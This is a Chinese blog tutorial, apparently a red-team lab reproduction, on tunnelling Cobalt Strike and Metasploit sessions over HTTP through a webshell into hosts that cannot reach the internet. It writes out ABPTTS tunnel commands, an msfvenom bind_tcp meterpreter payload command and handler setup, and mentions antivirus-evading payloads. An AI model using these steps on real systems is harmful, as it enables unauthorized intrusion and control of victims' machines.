美文网首页
HTTP 隧道上线C2

HTTP 隧道上线C2

作者: CSeroad | 来源:发表于2023-02-27 18:08 被阅读0次

前言

太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,无法直接与公网的cobaltstrike或者metasploit服务端建立连接。只能搭建HTTP隧道,那能通过HTTP隧道上线cobaltstrike或者metasploit吗?pystinger 就可以做到,那除此之外呢?接下来,我们探究一下其他HTTP隧道工具能否上线cobaltstrike或者metasploit。

cobaltstrike

原理

原理图

image.png

本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用HTTP正向隧道连接目标Server 2008的目标端口,进而产生子beacon。这里需要端口对端口的映射。而HTTP正向代理工具只有 ABPTTS 满足这点。

复现环境

  • CobaltStrike
公网 cobaltstrike 4.4
  • 跳板机
系统:windows 10 
IP地址:10.211.55.7
用户名:cseroad
  • 目标机
系统:windows server 2008 
IP地址:10.37.129.3
用户名:administrator

假设我们获取目标机server的webshell

image.png

然后利用 ABPTTS 项目生成代理脚本。因为它本身具有端口转发的功能。
该脚本只支持jsp、aspx。且每次生成的脚本文件并不一样。
生成代理脚本:

python abpttsfactory.py -o proxy

上传abptts.jsp到目标机server 2008 上。访问得到一串密文,说明脚本文件正常运行。

image.png

客户端使用abpttsclient.py启用HTTP隧道。

python abpttsclient.py -c proxy/config.txt -u "http://10.37.129.3:8080/demo/abptts.jsp" -f 127.0.0.1:6666/127.0.0.1:9999

/后面为目标地址和端口,前面为本地地址和端口。该命令意思是将目标机的9999端口通过http隧道映射至本机的6666端口,向本地的6666端口发送的请求都转发到目标机的9999端口上。

image.png

然后在cobaltstrike 上配置一条bind tcp 正向监听器。

image.png

值得注意的是生成的正向载荷只能选择Windows Executable Stageless 。
而Stager型和Stagerless型的区别在于:

  • Stager型:只包含简单的加载逻辑部分,Stager通过将payload加载到内存里从而实现PE的加载,这种加载方式称为反射型DLL加载。
  • Stagerless型:是把Stager和payload全写死在木马中,也就是它的体积更大、特征更明显。
image.png

只bin文件就有255K。

image.png

刚好最近更新了powershell的免杀插件,编译为exe后上传冰蝎。

image.png

木马在server 2008 目标机上开启了9999端口监听。
现在先在本地win 10上线cobaltstrike,产生一个父beacon。

image.png

而后在beacon里连接本地的6666端口。abpttsclient.py 就会通过HTTP隧道连接到9999端口上。

connect 127.0.0.1 6666

成功正向上线10.37.129.3目标机。

image.png image.png

metasploit

原理

原理图

image.png

相比较cobaltstrike上线的原理,metasploit显得比较简单。kali建立HTTP隧道后,metasploit代理到内网,主动连接到目标机建立连接。

复现环境

  • 跳板机
系统:kali
IP地址:10.211.55.6
用户名:root
  • 目标机
系统:windows server 2008 
IP地址:10.37.129.3
用户名:administrator

还是在存在一个shell的基础上,跳板机kali使用Neo-reGeorg代理工具。

image.png

检测代理正常建立后,创建正向连接的木马。相比较cobaltstrike,metasploit生成的后门方式就更多了。
以常见的c为例:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f c  -o shell.c

编译shell.c为免杀exe,并上传冰蝎后触发。

image.png

代理启用metasploit,配置RHOST为目标机IP地址。

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT  8888
set RHOST 10.37.129.3
exploit -j -z
image.png

可接受到来自目标机server的session,成功建立会话。

image.png

Behinder3

原理

原理图

image.png

本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用冰蝎的HTTP正向隧道连接目标Server 2012的目标端口,进而产生子beacon。

复现环境

CobaltStrike

公网 cobaltstrike 4.4

跳板机

系统:windows 10 
IP地址:10.211.55.7
用户名:cseroad

目标机

系统:windows server 2012 
IP地址:10.37.129.4
用户名:administrator

现在不借助任何的HTTP隧道,只用Behinder3的内网穿透功能,同样将远程目标端口9999映射到本地6666端口。

配置如下:

image.png

现在我们在cobaltstrike上配置一条bind tcp 正向监听器并生成一个exe文件。
通过Behinder3上传并触发。

image.png

在父beaon输入

connect 127.0.0.1 6666

即可成功正向上线10.37.129.4目标机。

image.png

总结

以后再也不用担心不出网的情况下无法使用cobaltstrike或metasploit,借助HTTP隧道,让cobaltstrike或metasploit走正向代理连接到目标机。

参考资料

https://xz.aliyun.com/t/10410#toc-7
http://www.moy1sec.com/2021/11/02/cs-zai-bu-chu-wang-huan-jing-zhong-shang-xian/#toc-heading-6
http://events.jianshu.io/p/3c02bd778e55

相关文章

  • HTTP隧道

    一、reGeorg 下载地址:https://github.com/gorgiaxx/reGeorg 上传webs...

  • 内网渗透之http隧道

    前言 最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭...

  • 基于Netty的HTTP代理

    HTTP代理协议 HTTP代理分为两种模式:HTTP模式、隧道(TUNNEL)模式。 HTTP模式 客户端会将代理...

  • C2 简单的HTTP协议

    1.HTTP协议用于客户端和服务端之间的通信 2.HTTP协议规定,请求从客户端发出,最后服务端响应该请求并返回。...

  • HTTP-006-网关、隧道、中继

    持续更新中 在HTTP和其他协议及应用程序之间起到接口作用的网关; 允许不同类型的Web应用程序互相通信的应用程序...

  • 通过SSH隧道配置http代理

    如何配置SSH隧道,请参考使用SSH隧道通过海外服务器访问外部网络,本文在前一篇的基础上继续探索Window上So...

  • 内网穿透:Sunny-Ngrok TCP隧道

    Sunny-Ngrok 除了http隧道还有tcp隧道,tcp的用处主要用于外网控制内网服务器和内网tcp端口开...

  • 看叙利亚小朋友生存现状有感

    因为我跟弟弟打架 不认真学习,所以今天爸爸给我看叙利亚小朋友的生存现状。 、[http://%C2%A0%20...

  • GeekBand Week 2

    类成员函数的Big 3 拷贝构造 C c1=c2;或C c1(c2); 赋值构造 c1=c2; 析构 ~C();这...

  • Sunny-Ngrok内外网穿透

    1、下载软件并开通隧道。 http://www.sunnyos.com/article-show-67.html ...

网友评论

      本文标题:HTTP 隧道上线C2

      本文链接:https://www.haomeiwen.com/subject/vfncsrtx.html